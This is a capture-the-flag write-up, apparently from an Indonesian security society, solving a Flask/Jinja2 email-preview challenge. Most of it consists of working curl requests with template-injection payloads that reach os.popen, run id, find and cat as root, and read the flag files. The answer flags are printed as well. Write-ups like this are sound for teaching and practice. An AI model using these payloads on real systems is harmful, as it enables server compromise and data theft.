Category: Web
Flag: SCSC26{t3mpl4t3_j4h4t_b1k1n_s3rv3r_n4ng1s}
Description: Tim Marketing meminta sebuah tool untuk mem-preview template email sebelum dikirim ke pelanggan. Tool ini mendukung fitur “Merge Tags” (seperti {{ name }}) untuk personalisasi. Namun sepertinya tool ini mengevaluasi input user terlalu agresif.
The first URL used port 80010, which never reached the service because the port was outside the valid TCP range. curl rejected it locally.
curl -sS -i --max-time 10 -A 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36' 'http://sriwijayasecuritysociety.com:80010/' || true
curl: (3) URL rejected: Port number was not a decimal number between 0 and 65535
The corrected service on port 8010 answered as Flask/Werkzeug. The page exposed a single POST form with a name field and even showed a Jinja calculation hint. That mattered because user input was probably entering a template.
curl -sS -i --max-time 10 -A 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36' 'http://sriwijayasecuritysociety.com:8010/'
HTTP/1.1 200 OK
Server: Werkzeug/3.1.5 Python/3.9.25
Content-Type: text/html; charset=utf-8
<title>Email Preview Tool</title>
<form method="POST">
<input type="text" class="form-control" name="name" placeholder="Valued Customer" value="Valued Customer">
<small class="form-text text-muted">Try using Jinja2 syntax like 49 to test calculation.</small>
Posting {{7*7}} to name made the preview print 49. That confirmed server-side template injection in Jinja2.
curl -sS -i --max-time 10 -A 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36' 'http://sriwijayasecuritysociety.com:8010/' -X POST --data-urlencode 'name={{7*7}}'
<p>Hello <strong>49</strong>,</p>
The template context exposed Flask’s config object, so config.__class__.__init__.__globals__ gave access to imported globals. From there, os.popen executed shell commands. The id command showed the process ran as root.
curl -sS --max-time 10 -A 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36' 'http://sriwijayasecuritysociety.com:8010/' -X POST --data-urlencode 'name={{config.__class__.__init__.__globals__["os"].popen("id").read()}}'
uid=0(root) gid=0(root) groups=0(root)
The next command searched shallow filesystem paths for flag-like files. It found /flag.txt and /app/flag.txt.
curl -sS --max-time 10 -A 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36' 'http://sriwijayasecuritysociety.com:8010/' -X POST --data-urlencode 'name={{config.__class__.__init__.__globals__["os"].popen("find / -maxdepth 3 -type f -iname *flag* -o -iname *scsc* 2>/dev/null").read()}}'
/flag.txt
/app/flag.txt
Reading both files returned two candidates.
curl -sS --max-time 10 -A 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36' 'http://sriwijayasecuritysociety.com:8010/' -X POST --data-urlencode 'name={{config.__class__.__init__.__globals__["os"].popen("cat /flag.txt /app/flag.txt 2>/dev/null").read()}}'
SCSC26{t3mpl4t3_j4h4t_b1k1n_s3rv3r_n4ng1s}
SCSC26{sst1_t3mpl4t3_1nj3ct10n_m4st3r}
The files were labelled with one more command. /flag.txt held the deployed challenge flag, while /app/flag.txt held another flag-like string.
curl -sS --max-time 10 -A 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36' 'http://sriwijayasecuritysociety.com:8010/' -X POST --data-urlencode 'name={{config.__class__.__init__.__globals__["os"].popen("printf root:; cat /flag.txt; printf app:; cat /app/flag.txt").read()}}'
root:SCSC26{t3mpl4t3_j4h4t_b1k1n_s3rv3r_n4ng1s}
app:SCSC26{sst1_t3mpl4t3_1nj3ct10n_m4st3r}